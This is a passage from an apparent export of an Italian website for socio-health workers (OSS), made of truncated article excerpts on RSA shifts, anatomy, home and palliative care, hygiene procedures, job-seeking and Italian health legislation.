dispositivi. Esempi di DPI di terza categoria sono: imbragature, caschi con cinturino sottogola, autorespiratori, guanti ignifughi, ecc. I DPI di Terza Categoria comprendono dispositivi per: Protezione respiratoria (filtranti); Isolamento; Lavoro in ambienti molto caldi... --- - Published: 2024-01-13 - Modified: 2024-01-11 - URL: https://ossinreparto.it/giornata-tipica-in-rsa/ - Categorie: Organizzazione Socio-Sanitaria Esplora una giornata nella vita di un Operatore Socio Sanitario in RSA. Scopri il coinvolgente mondo del Turno OSS e le sfide quotidiane nell'assistenza dedicata. Informazioni sui contratti di lavoro inclusi Vivere una giornata in una Residenza Sanitaria Assistenziale (RSA) è un'esperienza ricca di sfide e dedizione per gli Operatori Socio Sanitari (OSS). In questo articolo, esploreremo dettagliatamente le attività quotidiane di un OSS, concentrandoci sulle responsabilità cruciali che affrontano, con uno sguardo particolare al concetto di "Turno OSS". Gli orari e le procedure che vi mostreremo non sono uguali per tutte le RSA, ma è una panoramica generale per farvi un’idea di cosa si fa in queste strutture. Igiene ed alzata - Ore 7 L'alba segna l'inizio di una giornata impegnativa. L'OSS, da solo o in coppia dove necessario, assiste gli utenti nell'igienizzazione quotidiana e nella vestizione. Un momento intimo e cruciale che richiede competenza e sensibilità. A due o tre operatori, ognuno ha il proprio compito, si alzano i pazienti. In questa fase, l'operatore osserva il paziente e collabora, se è possibile, nella sua igiene intima e del viso, dopodiché nella sua vestizione. Con un deambulatole, carrozzina o autonomamente il paziente viene accompagnato nella sala mensa. Colazione - Ore 8 La sala mensa diventa il cuore pulsante durante la colazione. Gli OSS accompagnano gli ospiti, fornendo supporto ai pasti e collaborando con gli infermieri per garantire l'assunzione corretta delle terapie orali. In questa procedura l'oss aiuta il paziente autonomo a non sporcarsi ponendo ad esso una bavetta, in aggiunta il necessario per fare colazione. L'operatore fornisce al paziente la colazione che più gli aggrada e con la collaborazione dell'infermiere si danno le terapie necessarie. Attività riabilitative - Ore 9 La mattina prosegue con attività fisioterapiche, coinvolgendo gli ospiti in programmi riabilitativi. Gli OSS affiancano i fisioterapisti, garantendo che gli ospiti partecipino in modo sicuro e assistendoli nelle necessità igieniche. In questo lasso di tempo, in molte strutture, l’oss ha il compito di garantire l’igiene ambientale della struttura e della stanza di degenza del paziente. Nel quaderno delle consegne, o a parte, è riposta una scheda pulizie dove ci sono tutti i giorni prestabiliti dal caposala, quest’ultime divise in ordinarie e straordinarie. Pranzo - Ore 12 Il momento del pranzo è un'occasione sociale e nutrizionale. Gli OSS distribuiscono i pasti seguendo prescrizioni dietetiche, aiutano gli utenti non autonomi e monitorano l'assunzione corretta delle terapie orali, collaborando con l'infermiere. Se è presente una sala mensa, nella struttura dove lavoro c’è, un OSS distribuisce i pasti ai pazienti semi-autonomi/autonomi ed un’altro va nelle stanze di degenza per aiutare a somministrare i pasti ai pazienti non autonomi. Riposo - Ore 13 Dopo il pranzo, gli OSS accompagnano gli ospiti in camera per il riposo pomeridiano. Garantiscono il conforto e, se necessario, la gestione dell'igiene personale. In alcune strutture dov’è presente la sala mensa gli ammalati possono rimanere li per le attività pomeridiane. Si spostano dai tavoli e si accompagnano agli eventuali divani. Attività ricreative - Ore 15 Il pomeriggio si anima con attività ludiche e ricreative. Gli OSS giocano un ruolo chiave nell'organizzazione e nel coinvolgimento degli ospiti in varie attività, contribuendo al benessere sociale e emotivo. Merenda - Ore 16 La merenda... --- > Scopri il fascino del sistema nervoso, dal delicato equilibrio dell'encefalo alla vitalità del midollo spinale. - Published: 2024-01-12 - Modified: 2024-01-11 - URL: https://ossinreparto.it/come-e-fatto-il-sistema-nervoso/ - Categorie: Anatomia Un viaggio attraverso il delicato equilibrio tra encefalo, midollo spinale e nervi, svela il mistero della sua complessità e vitalità. Il sistema nervoso, architettonica maestosa del corpo umano, si erge come protagonista nel coordinamento delle attività fisiologiche e cognitive. Un viaggio attraverso il delicato equilibrio tra encefalo, midollo spinale e nervi, svela il mistero della sua complessità e vitalità. Nei vertebrati, il sistema nervoso centrale (SNC) costituisce una parte fondamentale del corpo, composta principalmente dall'encefalo e dal midollo spinale. L'encefalo e il midollo spinale, caratterizzati da una consistenza soffice e gelatinosa, sono avvolti in un liquido protettivo e circondati da membrane chiamate meningi. Questi sono ulteriormente protetti da un rivestimento osseo esterno. La Protezione del SNC Cranio e Colonna Vertebrale: Supporto, contenimento e protezione. Cranio: Custode dell'encefalo. Colonna Vertebrale: Fortezza per il midollo spinale. Meningi Cruciali: Pia Madre: Contatto diretto con SNC. Aracnoide: Strato intermedio, spazio subaracnoideo. Dura Madre: Strato esterno, vasi venosi. Liquido Cerebrospinale: Protezione dagli urti. Rimozione dei prodotti di scarto. Neuroni e Nervi I neuroni, cellule del tessuto nervoso, sono responsabili della generazione, dello scambio e della conduzione dei segnali nervosi. Nel sistema nervoso di un adulto, decine di miliardi di neuroni formano una vasta rete che connette ogni parte del corpo. Neuroni Struttura Neuronale: Corpo Cellulare, Dendriti, Assoni. Generazione, scambio e conduzione di segnali nervosi. Nervi Tipi di Nervi: Efferenti (motori), Afferenti (sensitivi), Misti. Trasporto di informazioni. Sostanza Grigia e Bianca Il SNC ospita due tessuti distinti, grigio e bianco, determinati dalla presenza di mielina nei neuroni. L'Encefalo: Comando Centrale Il cervello, gioiello del SNC, governa un intricato balletto di funzioni. La struttura cerebrale, racchiusa all'interno della scatola cranica, è divisa in due emisferi uniti dal corpo calloso, il quale si collega al midollo spinale attraverso il tronco encefalico. La sua superficie esterna è rivestita dalla corteccia, mentre internamente ospita i gangli basali, con il cervelletto situato alla base e nella parte posteriore. Le funzioni del cervello sono diverse e comprendono la percezione dei segnali dai sensi, il controllo del pensiero, del linguaggio, della memoria e dei movimenti degli organi e delle estremità. Ogni emisfero svolge specifiche attività, come il linguaggio per l'emisfero sinistro e l'interpretazione delle informazioni visive per l'emisfero destro. Struttura del Cervello Compartimenti Specializzati: Regione, funzione e connessione. Dodici paia di nervi cranici. L'Emisfero Cerebrale Funzioni Differenziate: Linguaggio, interpretazione visiva, controllo autonomico. Corteccia Cerebrale e Strutture Interne Ruoli Distinti: Motorie, sensoriali, emotive. Meningi e liquido cerebrospinale. Il Midollo Spinale: Ponte Vitale Il midollo spinale, tessuto chiave, trasmette segnali tra cervello e corpo. Struttura e Posizione Colonna di Fibre Nervose: Dura madre, liquido cerebrospinale. Regioni cervicali, toraciche, lombari e sacrali. Funzioni Vitali Comunicazione Tra Cervello e Corpo: Trasmissione di impulsi elettrici. Specificità dei nervi spinali. Il Sistema Nervoso Periferico Il sistema nervoso periferico rappresenta una delle due divisioni fondamentali del sistema nervoso, affiancato dalla controparte centrale composta da cervello e midollo spinale. La sua principale responsabilità è creare e mantenere un collegamento tra il sistema nervoso centrale e il resto dell'organismo. Struttura del Sistema Nervoso Periferico Diviso a sua volta in sistema nervoso autonomo e sistema nervoso somatico, il sistema nervoso periferico è costituito... --- > L’Assistenza Domiciliare Integrata (ADI) è un servizio distribuito su tutto il territorio, mirato a fornire assistenza sanitaria e sociale a cittadini di diverse fasce d'età e condizioni che possono beneficiarne. - Published: 2023-11-15 - Modified: 2023-11-15 - URL: https://ossinreparto.it/assistenza-domiciliare-integrata/ - Categorie: Organizzazione Socio-Sanitaria Questo servizio è particolarmente utile per anziani o malati che desiderano ricevere cure e assistenza presso il proprio domicilio, mantenendo il contatto con la cerchia famigliare e il comfort del proprio ambiente. L’Assistenza Domiciliare Integrata (ADI) è un servizio distribuito su tutto il territorio, mirato a fornire assistenza sanitaria e sociale a cittadini di diverse fasce d'età e condizioni che possono beneficiarne. Questo servizio è particolarmente utile per anziani o malati che desiderano ricevere cure e assistenza presso il proprio domicilio, mantenendo il contatto con la cerchia famigliare e il comfort del proprio ambiente. Come funziona l'Assistenza Domiciliare Integrata L'ADI è un sistema che mira a garantire cure di qualità e umanizzate, evitando il ricovero ospedaliero quando possibile e gestendo le necessità socio-sanitarie direttamente a casa del paziente. Ad esempio, pazienti con malattie croniche o disabilità, come gli anziani tetraplegici a causa di un trauma o patologia invalidante, possono ricevere cure quotidiane o periodiche direttamente presso il loro domicilio. Questo servizio è fornito dal Servizio Sanitario Nazionale (SSN) e, nella maggior parte dei casi, è gratuito e garantito. L'ADI può essere richiesta dal Medico di Medicina Generale (MMG) o attivata direttamente dall'ospedale attraverso il meccanismo delle dimissioni protette. Obiettivi dell’Assistenza Domiciliare Integrata (ADI) L'obiettivo principale dell'Assistenza Domiciliare Integrata è duplice: Garantire cure socio-sanitarie umanizzate: Il paziente non è costretto ad abbandonare il proprio ambiente familiare, contribuendo a preservare il benessere psicologico e il supporto emotivo della cerchia famigliare. Ridurre il ricorso al ricovero ospedaliero: L'ADI permette di evitare il ricovero ospedaliero quando le cure possono essere gestite in modo adeguato a domicilio, con maggior soddisfazione per il paziente e senza compromettere la qualità delle cure. Tipi di assistenza fornita dall’ADI L'assistenza sanitaria fornita dall'ADI presso il domicilio dell'assistito è multidisciplinare. Dopo una valutazione da parte di un'equipe multiprofessionale (Unità di Valutazione Multidimensionale o UVDM) e la redazione di un Piano di Assistenza Individuale (PAI), diverse figure professionali possono essere coinvolte, tra cui: Medici (di MMG o specialisti) Infermieri Fisioterapisti o altri professionisti della riabilitazione Psicologi Assistenti sociali Altre figure necessarie per le specifiche esigenze del paziente La risposta ai bisogni sanitari e sociali di pazienti multipatologici coinvolge diverse professioni per affrontare le diverse problematiche del paziente, con un particolare focus sull'accesso a infermieri a domicilio quando necessario. Come si attiva il servizio di Assistenza Domiciliare Integrata? Per accedere all'Assistenza Domiciliare Integrata, la richiesta può partire sia dall'ospedale che dal medico generale del paziente. È rivolta a coloro che hanno perso l'autosufficienza ma che non necessitano di un ricovero ospedaliero e che risiedono in luoghi accessibili all'assistenza domiciliare. Il percorso burocratico per l'attivazione dell'ADI può variare da regione a regione. In generale, coinvolge una valutazione iniziale da parte di un'Unità di Valutazione Multidimensionale (UVMD), che redigerà un primo Progetto Individuale. Successivamente, il team di professionisti coinvolti nel prendersi cura del paziente seguirà un Piano di Assistenza Individuale, specialmente nel caso in cui l'ente responsabile della cura del paziente non sia parte della stessa azienda sanitaria ma un ente esterno, come una cooperativa o una residenza sanitaria. Assistenza infermieristica immediata L'ADI, pur essendo una soluzione preziosa per le cure a domicilio, potrebbe non essere indicata per quei casi in cui è necessaria assistenza infermieristica... --- > Scopri cosa sono le cure palliative, un approccio completo per migliorare la qualità di vita dei malati in fase terminale e delle loro famiglie - Published: 2023-11-15 - Modified: 2024-07-23 - URL: https://ossinreparto.it/cure-palliative-cosa-sono/ - Categorie: Assistenza alla Persona - Tag: Guide OSS Questo articolo esplorerà in dettaglio le cure palliative, il loro significato e come vengono praticate. La parola "palliativo" deriva dalla parola latina "pallium," che significa mantello di protezione. Le cure palliative rappresentano un approccio olistico alla cura dei pazienti in fase terminale, mirando a migliorare la loro qualità di vita senza accelerare né ritardare la morte. Questo articolo esplorerà in dettaglio le cure palliative, il loro significato e come vengono praticate. Definizione delle Cure Palliative Cosa Sono le Cure Palliative? Le cure palliative rappresentano un insieme di interventi terapeutici, diagnostici e assistenziali dedicati non solo al paziente, ma anche alla sua famiglia. Sono rivolte a coloro la cui malattia in fase terminale non risponde più a trattamenti specifici. La loro finalità è quella di preservare la migliore qualità di vita possibile fino alla fine, affrontando i problemi fisici, psicologici, sociali e spirituali associati alla malattia. La Fase Terminale: Cosa Significa? La fase terminale è una condizione irreversibile in cui la malattia non risponde più alle terapie di guarigione. Si caratterizza per la progressiva perdita di autonomia del paziente e la manifestazione di sintomi fisici e psicologici. In questa fase, il controllo del dolore e degli altri disturbi, insieme alla gestione dei problemi psicologici, sociali e spirituali, diventa fondamentale. Le Cure Palliative secondo l'OMS L'Approccio dell'Organizzazione Mondiale della Sanità L'Organizzazione Mondiale della Sanità (OMS) ha definito le cure palliative come un approccio che mira a migliorare la qualità della vita dei malati e delle loro famiglie, affrontando le problematiche delle malattie inguaribili attraverso la prevenzione e il sollievo della sofferenza. Questo approccio prevede un'identificazione precoce e un trattamento ottimale del dolore e degli altri problemi di natura fisica, psicologica, sociale e spirituale. I Principi Fondamentali Le cure palliative, quindi, si basano su alcuni principi fondamentali: Affermazione della Vita: Considerano la morte come un evento naturale e mirano a migliorare la qualità della vita fino alla fine. Nessun Accanimento Terapeutico: Non cercano né di accelerare né di ritardare la morte, evitando qualsiasi forma di accanimento terapeutico o eutanasia. Sollievo dal Dolore: Provvedono al sollievo dal dolore e dagli altri disturbi associati alla malattia. Approccio Olistico: Integrano gli aspetti sanitari con quelli psicologici, sociali e spirituali dell'assistenza. Supporto Familiare: Offrono un sistema di supporto alla famiglia sia durante le fasi della malattia, sia durante il lutto. Applicazione Precoce: Possono essere applicate precocemente nella malattia, anche in combinazione con trattamenti che tendono a prolungare la vita, come la chemioterapia e la radioterapia. Dove ottenere le cure palliative In Italia, si configura una Rete di cure palliative, nota come "La Rete Locale di Assistenza Palliativa. " Questa rete rappresenta un sistema integrato delle attività di cure palliative, che comprende ospedali, hospice, assistenza domiciliare e altre strutture residenziali. Questa integrazione avviene in un determinato territorio regionale. Per accedere alla Rete locale di cure palliative, le procedure possono variare da regione a regione. Tuttavia, in generale, è possibile rivolgersi a diverse fonti, tra cui: Il medico di medicina generale, noto anche come medico di famiglia. Medici specialisti ospedalieri. L'ASL di riferimento, l'Azienda Sanitaria Locale. Associazioni di volontariato. Cure Palliative Domiciliari Le cure... --- > Scopri come eseguire correttamente la sostituzione del pannolone per garantire il comfort e la salute dei pazienti incontinenti. - Published: 2023-11-15 - Modified: 2024-09-08 - URL: https://ossinreparto.it/igiene-intima/ - Categorie: Assistenza alla Persona, Procedure - Tag: Apparato Urinario In questo articolo, esamineremo l'igiene intima e sottolineeremo l'importanza della procedura OSS (Osservare, Sapere, Selezionare). Per chi non è familiare con l'argomento, offriremo una guida completa su come garantire un'igiene intima sicura ed efficace. L'igiene intima rappresenta un pilastro fondamentale della cura personale di ciascun individuo. Questa pratica quotidiana non solo preserva la pulizia dell'area genitale ma riveste un ruolo cruciale nella prevenzione di infezioni e nella promozione del benessere generale. In questo articolo, esploreremo l'igiene intima e metteremo in evidenza l'importanza della procedura OSS (Osservare, Sapere, Selezionare). Per coloro che non sono esperti in materia, forniremo una guida completa su come prendersi cura dell'igiene intima in modo sicuro ed efficace. Igiene Intima: Un Aspetto Cruciale della Salute Personale Importanza dell'Igiene Intima L'igiene intima è molto più di una semplice pulizia. È un aspetto cruciale della salute personale poiché contribuisce a prevenire infezioni, irritazioni e disagi. Seguire le procedure corrette di igiene intima può aiutare a mantenere l'equilibrio del pH e a prevenire problemi come la vaginosi batterica. Ecco alcune delle principali ragioni per cui l'igiene intima è importante: Prevenzione delle Infezioni: Mantenere l'area intima pulita può aiutare a prevenire infezioni come le infezioni da lieviti e le infezioni del tratto urinario. Eliminazione degli Odori Sgradevoli: Una buona igiene intima contribuisce a ridurre gli odori sgradevoli, migliorando la fiducia personale. Mantenimento del Comfort: Una pulizia regolare previene irritazioni e disagi, garantendo il comfort. L'Approccio OSS Ora, concentriamoci sull'approccio OSS, Questo metodo è fondamentale per garantire che l'igiene intima sia efficace e sicura. Osservare L'osservazione rappresenta la prima fase dell'approccio OSS. Significa prestare attenzione all'aspetto dell'area genitale. Se noti cambiamenti nell'aspetto, come arrossamenti o secrezioni insolite, è importante consultare l'infermiere. Sapere La conoscenza è la chiave per un'igiene intima adeguata. Devi essere consapevole di cos'è necessario per l'igiene intima del paziente. Ad esempio, l'acqua non deve superare i 37/38 °C, non usare detergenti troppo aggressivi per evitare che il Ph della pelle si alteri, non strofinare le parti intime per evitare lesioni da decubito e/o arrossamenti. Selezionare La selezione si riferisce alla scelta dei prodotti giusti per l'igiene intima. È importante utilizzare prodotti delicati, come il sapone intimo, senza profumi o coloranti, evitando prodotti aggressivi che potrebbero disturbare l'equilibrio del pH. Procedure Corrette per l'Igiene Intima Prima di iniziare la procedura, è essenziale valutare la presenza di irritazioni, escoriazioni, infiammazioni, gonfiori, eccessiva secrezione, odore, dolore o disagio, nonché il grado di collaborazione del paziente. Cosa occorre Prima di procedere con la sostituzione del pannolone, assicurati di avere a disposizione i seguenti materiali: Un pannolone (a scelta tra varie tipologie): a) Pannolino rettangolare per l'incontinenza leggera nelle donne. b) Pannolino anatomico per l'incontinenza media negli uomini e nelle donne. c) Pannolone per l'incontinenza media o forte negli uomini e nelle donne. Una brocca con acqua tiepida. Guanti monouso non sterili. Sapone. Asciugamano o telo da bagno. Un sacco per rifiuti. Come si fa Segui attentamente questi passaggi per eseguire correttamente la sostituzione del pannolone: Prima di iniziare qualsiasi procedura, spiega al paziente il motivo e la modalità dell'igiene. Assicurati della privacy del paziente, chiudendo le tende intorno al letto o la porta, se necessario. Rispetta le procedure per il controllo delle infezioni, indossando guanti e lavando... --- > Di seguito, esploreremo alcune delle comuni disfunzioni della minzione e le patologie ad esse correlate. - Published: 2023-11-15 - Modified: 2024-09-08 - URL: https://ossinreparto.it/minzione-disturbi-guida-pratica/ - Categorie: Anatomia - Tag: Apparato Urinario, Guide OSS La minzione è il complesso processo attraverso il quale il corpo espelle l'urina, rimuovendo i prodotti di scarto precedentemente filtrati dai reni. La minzione è il complesso processo attraverso il quale il corpo espelle l'urina, rimuovendo i prodotti di scarto precedentemente filtrati dai reni. Questo processo coinvolge sia il sistema nervoso che i muscoli nell'apparato urinario, operando in modo sinergico. L'equilibrio tra questi componenti è fondamentale per garantire un corretto funzionamento del sistema urinario. Qualsiasi alterazione in questo delicato equilibrio può portare a disturbi della minzione e a patologie correlate che meritano attenzione e comprensione. Disturbi della Minzione e Patologie Correlate La minzione è una delicata interazione tra elementi nervosi e muscolari, ed è essenziale per la salute del corpo. Qualsiasi alterazione in questi componenti può provocare disturbi della minzione e condizioni patologiche associate. Di seguito, esploreremo alcune delle comuni disfunzioni della minzione e le patologie ad esse correlate. Ritenzione Urinaria La ritenzione urinaria è un disturbo caratterizzato dall'incapacità di svuotare completamente la vescica. Questo problema può manifestarsi in forma acuta o cronica. Le cause possono variare e includere la ridotta contrattilità della vescica, l'ostacolo al flusso urinario o la perdita di sincronia tra la contrazione della vescica e il rilassamento dello sfintere. La ritenzione urinaria richiede un'attenta valutazione e un intervento tempestivo per evitare complicazioni. Incontinenza Urinaria L'incontinenza urinaria è una condizione che si manifesta con la perdita involontaria di urina. Sebbene sia più comune negli anziani e nelle donne, può colpire persone di tutte le età e di entrambi i sessi. Questa condizione può essere debilitante e influire notevolmente sulla qualità di vita dei pazienti. Le cause possono variare e richiedono una diagnosi accurata per determinare il trattamento appropriato. Altri Disturbi della Minzione Oltre alla ritenzione urinaria e all'incontinenza urinaria, esistono altre condizioni legate alla minzione che richiedono attenzione: Anuria: Per anuria si indica la completa cessazione della produzione di urina, con un volume urinario inferiore a 100 ml nelle 24 ore. Questo sintomo rappresenta una brusca interruzione della funzione renale. Oliguria: Ridotta produzione di urina, di solito considerata come inferiore a 400 ml nelle 24 ore in un adulto di corporatura media; costituisce un meccanismo di protezione per mantenere il bilancio dei fluidi in equilibrio anche quando il corpo sta subendo significative perdite di liquidi (come sudorazione eccessiva, diarrea, emorragie, ustioni, ecc. ). È un segno comune di disidratazione. Poliuria: L'eccessiva produzione ed espulsione di ampie quantità di urine, che presentano una limpidezza e diluizione evidente, caratterizzano la poliuria. In presenza di poliuria, si rileva una diuresi superiore a 2500-3000 ml nell'arco di 24 ore. Il fattore principale alla base della poliuria è generalmente il diabete mellito non adeguatamente gestito. Tuttavia, questo segno può altresì essere originato da qualsiasi condizione che comporti polidipsia (cioè, un consumo eccessivo di liquidi). Pollachiuria: La frequentissima minzione (o poliuria) è la manifestazione dell'aumento del numero di volte in cui si urina, comportando la necessità di farlo molto spesso e in brevi successioni. Stranguria: La difficoltà urinaria è un sintomo caratterizzato dalla lenta emissione dell'urina a gocce, spesso accompagnata da sensazioni di disagio o dolore nella vescica. In pratica, si verifica una espulsione graduale... --- > Questo articolo ti guiderà attraverso i passi chiave per lavorare come OSS - Published: 2023-11-15 - Modified: 2025-04-01 - URL: https://ossinreparto.it/10-consigli-utili-per-lavorare-come-oss/ - Categorie: Diventare OSS L'articolo fornisce una guida dettagliata su come ottenere un lavoro come OSS, coprendo dalla formazione iniziale alla ricerca di opportunità lavorative e alle fasi dell'intervista. Esplora come differenziarti dagli altri candidati, mettendo in risalto le tue competenze e l'impegno nel campo dell'assistenza sanitaria. Se sei interessato a diventare un Operatore Socio Sanitario (OSS) e stai cercando consigli per avere successo nella tua ricerca di lavoro, sei nel posto giusto. Questo articolo ti guiderà attraverso i passi chiave per ottenere un lavoro come OSS, dalla formazione iniziale alla ricerca di opportunità di lavoro e all'intervista. Imparerai come distinguerti dagli altri candidati e come mettere in evidenza le tue competenze e il tuo impegno nel settore dell'assistenza sanitaria. Formazione Adeguata Scegli il Corso di Formazione Giusto Per diventare un OSS, è essenziale frequentare un corso di formazione riconosciuto, molti operatori socio-sanitari si sono trovati a rifare il corso di formazione perchè si sono resi conto, una volta fatta l'iscrizione ai concorsi, di non essere stati ammessi e che il loro corso non aveva valore. Assicurati di selezionare un istituto accreditato e valuta attentamente il programma di studio. Verifica che il corso copra tutti gli aspetti chiave dell'assistenza sanitaria, compresi gli aspetti pratici e teorici. Approfondisci le Tue Conoscenze Durante il corso di formazione, sii attento e impara il più possibile. Durante il tirocinio formativo impara il più possibile, ti sarà di aiuto per il futuro. L'assistenza sanitaria è un campo in continua evoluzione, quindi assicurati di essere sempre aggiornato sulle ultime pratiche e tecnologie. Creare un Curriculum Vincente Elenca le Tue Competenze Chiave Nel tuo curriculum, evidenzia le tue competenze più rilevanti. Questi potrebbero includere la capacità di fornire assistenza personale, monitorare i segni vitali e fornire supporto emotivo ai pazienti. Assicurati di includere anche eventuali esperienze precedenti nel settore sanitario, la frase "tutto fa brodo" è veritiera, perchè ogni esperienza sanitaria, fatta dopo il corso oss, vale come punteggio e come formazione per un eventuale futuro. Metti in Evidenza l'Empatia e la Compassione Essere un buon Operatore Socio Sanitario non riguarda solo le competenze tecniche, ma anche l'empatia e la compassione. Mostra come sei in grado di stabilire connessioni significative con i pazienti e come ti preoccupi per il loro benessere. Cercare Opportunità di Lavoro Ricerca Attiva Dopo aver completato la tua formazione, inizia la ricerca di lavoro. Utilizza siti web dedicati alle offerte di lavoro nel settore sanitario, come Indeed, LinkedIn, o siti web specializzati nel settore dell'assistenza sanitaria. Contatta Strutture Sanitarie Non limitarti a cercare solo online. Chiama direttamente strutture sanitarie, case di riposo e ospedali nella tua zona per chiedere se hanno posizioni aperte per OSS. La proattività può fare la differenza. Molte volte mi sono trovata a chiamare strutture private nelle mie vicinanze, ed una di queste ho trovato lavoro, la prima cosa da fare è vedere la qualità stipendio-lavoro, cioè lo stipendio in base al quantitativo lavoro che si svolge in struttura. Ad esempio, un OSS che lavora 6 ore al giorno dovrebbe percepire un buon stipendio. Ma oltre a questo fattore si dovrebbe verificare anche un secondo fattore ed è quello stipendio-lavoro-vita, cioè oltre lo stipendio rapportato al lavoro che si fa, bisogna anche tener conto le spese che girano intorno ad una città costosa. Ma ricercare lavoro... --- > Scopri l'anatomia dell'apparato digerente umano e le sue funzioni. Impara come il tuo corpo elabora il cibo per la salute e il benessere. - Published: 2023-11-15 - Modified: 2023-11-15 - URL: https://ossinreparto.it/apparato-digerente-come-funziona/ - Categorie: Anatomia Questo articolo esplorerà l'anatomia e le funzioni dell'apparato digerente, offrendo una panoramica completa per il pubblico non esperto interessato a conoscere meglio il proprio corpo. L'apparato digerente è un sistema complesso e vitale che svolge un ruolo fondamentale nella nostra salute. Attraverso una serie di processi meccanici e chimico-enzimatici, il sistema digerente rende gli alimenti ingeriti assimilabili dall'organismo. Questo articolo esplorerà l'anatomia e le funzioni dell'apparato digerente, offrendo una panoramica completa per il pubblico non esperto interessato a conoscere meglio il proprio corpo. Informazioni Generali sull'Apparato Digerente Il Ruolo dell'Apparato Digerente Il sistema digerente svolge una serie di compiti fondamentali per il nostro benessere: Assumere i nutrienti dai cibi. Decomporre (digerire) gli alimenti in sostanze assimilabili. Assorbire i nutrienti nell'organismo. Elaborare i nutrienti per scopi energetici e strutturali. Eliminare le sostanze di rifiuto e tossiche. Principali Nutrienti Assunti I nutrienti principali assunti attraverso il sistema digerente includono carboidrati, proteine, lipidi, sali minerali, vitamine e acqua. Questi nutrienti sono essenziali per il corretto funzionamento del nostro organismo. Anatomia dell'Apparato Digerente Il sistema digerente è composto da varie parti anatomiche che collaborano per svolgere le funzioni digestive. Esse includono: Il Tubo Digerente Reale Il tubo digerente reale è il principale sito in cui avviene l'assunzione, la digestione e l'assorbimento dei nutrienti. Include la bocca, la faringe, l'esofago, lo stomaco, l'intestino tenue e l'intestino crasso. Organi Aggiuntivi Oltre al tubo digerente, ci sono alcuni organi aggiuntivi che giocano un ruolo chiave nell'elaborazione dei nutrienti, tra cui il fegato, le vie biliari e il pancreas. La Bocca Funzioni della Bocca La bocca svolge un ruolo cruciale nel processo digestivo. Le sue funzioni includono: Masticare il cibo. Inumidire ed emulsionare il cibo attraverso la saliva. La Saliva La saliva, prodotta dalle ghiandole salivari, contiene sostanze come la ptialina (amilasi salivare) che inizia la digestione dei carboidrati, mucina con effetto lubrificante, e sostanze antibatteriche. La produzione di saliva è controllata dal sistema nervoso autonomo. I Denti I denti svolgono un ruolo fondamentale nella masticazione. Gli adulti tipici hanno 32 denti, ciascuno con diverse parti, tra cui smalto, dentina e polpa dentaria. Anatomia della Bocca La bocca comprende il palato, la lingua, la faringe, l'esofago, e alcune ghiandole salivari come le parotidi, sottomascellari e sottolinguali. La Lingua La lingua è un organo muscolare altamente mobile, essenziale per la formazione del bolo alimentare durante la masticazione. La lingua spinge il bolo verso la faringe e successivamente all'esofago. La Faringe La faringe ha il compito di far passare il bolo verso l'esofago ed è costituita da una membrana fibroelastica rivestita internamente dalla mucosa faringea e da muscoli faringei esterni. L'Esofago L'esofago trasporta il cibo dalla faringe allo stomaco attraverso un'onda peristaltica. Si chiude la glottide durante la deglutizione per prevenire l'ingresso del cibo nella trachea. Tra l'esofago e lo stomaco, si trova lo sfintere cardias, che previene il reflusso del cibo. Lo Stomaco Lo stomaco è una sacca situata nell'addome ed è responsabile di diverse funzioni, tra cui la mescolanza del cibo, la digestione delle proteine e dei carboidrati, e la produzione di alcune sostanze necessarie per l'assorbimento successivo. Numerose ghiandole gastriche rivestono la superficie gastrica e secernono sostanze per svolgere queste funzioni. Fasi... --- > Scoprite le leggi sanitarie italiane fondamentali per l'esame OSS e la pratica quotidiana, dalla Costituzione alla tutela della privacy. - Published: 2023-11-15 - Modified: 2025-04-01 - URL: https://ossinreparto.it/leggi-sanitarie-esame-oss/ - Categorie: Legislazione Sanitaria Questo articolo esplorerà le leggi sanitarie più importanti che rientrano nell'ambito dell'esame OSS, fornendo una panoramica dettagliata di ciascuna. Le leggi sanitarie sono fondamentali per garantire la salute e il benessere della popolazione. In Italia, queste normative svolgono un ruolo cruciale nel settore della sanità e sono spesso oggetto di esame per coloro che desiderano lavorare come Operatori Socio Sanitari (OSS). Questo articolo esplorerà le leggi sanitarie più importanti che rientrano nell'ambito dell'esame OSS, fornendo una panoramica dettagliata di ciascuna. L'Articolo 32 della Costituzione Italiana L'Articolo 32 della Costituzione Italiana stabilisce il diritto alla salute come un diritto fondamentale dei cittadini. Questo articolo sancisce il dovere dello Stato di garantire l'assistenza sanitaria e promuovere misure di prevenzione. Gli operatori sanitari devono essere a conoscenza di questa disposizione in quanto costituisce la base di gran parte della legislazione sanitaria italiana. La Legge n. 833 del 1978 Domanda d'esame Qual è l'importanza della Legge n. 833 del 1978 per gli operatori sanitari? Cosa stabilisce questa legge in termini di organizzazione e finanziamento del sistema sanitario italiano? La Legge n. 833 del 1978 è un pilastro del sistema sanitario italiano. Essa regola l'organizzazione e il finanziamento del sistema sanitario nazionale, garantendo l'accesso universale alle cure mediche. Gli aspiranti OSS devono comprendere le disposizioni di questa legge in dettaglio. Il D. Lgs n. 502/1992 Il Decreto Legislativo n. 502 del 1992 disciplina il settore delle prestazioni sanitarie in Italia. Questa normativa è cruciale per gli operatori sanitari in quanto stabilisce i diritti dei pazienti e le regole per l'erogazione dei servizi sanitari. La successiva modifica normativa, ossia il Decreto Legislativo 502/1992 e le successive variazioni, ha portato a una trasformazione delle Unità Sanitarie Locali (USL) in Aziende Sanitarie Locali (ASL). Queste ASL sono state dotate di personalità giuridica e autonomia amministrativa ed economica, con la gestione affidata a professionisti dell'ambito, noti come manager. Un altro elemento rivoluzionario è rappresentato dall'introduzione del sistema di accreditamento per le strutture sanitarie, che permette ai cittadini di scegliere liberamente tra strutture pubbliche e private che soddisfano determinati standard di qualità per ricevere cure mediche. Gli esami OSS spesso coprono questa legge, enfatizzando la necessità di garantire la qualità delle prestazioni sanitarie. Il D. Lgs 229/99 (Legge Bindi o Riforma Ter) Domanda d'esame Perché il D. Lgs 229/99 è noto anche come Legge Bindi? Quali cambiamenti ha introdotto nella gestione del sistema sanitario italiano? Il Decreto Legislativo 229 del 1999, noto anche come Legge Bindi o Riforma Ter, ha introdotto significative modifiche nel sistema sanitario italiano. Tra le modifiche più significative, spiccano: la promozione delle regioni, che richiederà da ognuna di esse l'elaborazione di un piano sanitario regionale (PSR); un maggiore potenziamento del concetto di aziendalizzazione delle Aziende Sanitarie Locali (AUSL) e la suddivisione delle AUSL stesse in distretti. Gli operatori sanitari devono essere consapevoli delle sue implicazioni, in quanto ha influenzato l'organizzazione e la gestione delle strutture sanitarie nel paese. La Legge 104 del 1992 La Legge 104 del 1992 si concentra sulla tutela dei diritti delle persone con disabilità. Questa legge riconosce il diritto all'assistenza e ai servizi specifici per coloro che presentano disabilità. Gli aspiranti... --- > Esplora le diverse ferite, dalla superficiale abrasione alle lesioni chirurgiche, 